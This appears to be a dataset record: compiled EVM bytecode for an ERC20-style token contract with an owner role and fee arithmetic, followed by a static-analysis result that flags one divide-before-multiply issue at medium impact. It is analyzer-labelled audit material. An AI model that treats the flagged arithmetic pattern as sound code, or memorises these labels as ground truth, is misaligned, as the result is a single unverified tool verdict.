48110610c3757610c36611616565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cce5750600084145b15610d2a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d229190611645565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d799190611645565b925050819055506000600154606486610d9291906116ca565b610d9c91906116fb565b90508085610daa9190611452565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dfb9190611452565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e519190611645565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea79190611452565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610efd9190611645565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611013578082015181840152602081019050610ff8565b83811115611022576000848401525b50505050565b6000601f19601f8301169050919050565b600061104482610fd9565b61104e8185610fe4565b935061105e818560208601610ff5565b61106781611028565b840191505092915050565b6000602082019050818103600083015261108c8184611039565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110c482611099565b9050919050565b6110d4816110b9565b81146110df57600080fd5b50565b6000813590506110f1816110cb565b92915050565b6000819050919050565b61110a816110f7565b811461111557600080fd5b50565b60008135905061112781611101565b92915050565b6000806040838503121561114457611143611094565b5b6000611152858286016110e2565b925050602061116385828601611118565b9150509250929050565b60008115159050919050565b6111828161116d565b82525050565b600060208201905061119d6000830184611179565b92915050565b6111ac816110f7565b82525050565b60006020820190506111c760008301846111a3565b92915050565b6000806000606084860312156111e6576111e5611094565b5b60006111f4868287016110e2565b9350506020611205868287016110e2565b925050604061121686828701611118565b9150509250925092565b611229816110b9565b82525050565b60006020820190506112446000830184611220565b92915050565b6000602082840312156112605761125f611094565b5b600061126e848285016110e2565b91505092915050565b6000806040838503121561128e5761128d611094565b5b600061129c858286016110e2565b92505060206112ad858286016110e2565b9150509250929050565b6000819050919050565b60006112dc6112d76112d284611099565b6112b7565b611099565b9050919050565b60006112ee826112c1565b9050919050565b6000611300826112e3565b9050919050565b611310816112f5565b82525050565b600060208201905061132b6000830184611307565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137857607f821691505b60208210810361138b5761138a611331565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006113ed602983610fe4565b91506113f882611391565b604082019050919050565b6000602082019050818103600083015261141c816113e0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061145d826110f7565b9150611468836110f7565b92508282101561147b5761147a611423565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114bc602083610fe4565b91506114c782611486565b602082019050919050565b600060208201905081810360008301526114eb816114af565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061154e602683610fe4565b9150611559826114f2565b604082019050919050565b6000602082019050818103600083015261157d81611541565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006115e0602483610fe4565b91506115eb82611584565b604082019050919050565b6000602082019050818103600083015261160f816115d3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611650826110f7565b915061165b836110f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116905761168f611423565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116d5826110f7565b91506116e0836110f7565b9250826116f0576116ef61169b565b5b828204905092915050565b6000611706826110f7565b9150611711836110f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561174a57611749611423565b5b82820290509291505056fea26469706673582212206e580597d5605d0fcf0dd5f507b8f33a66bbf0cb9c3fa5e5c887f7b3566a836164736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,199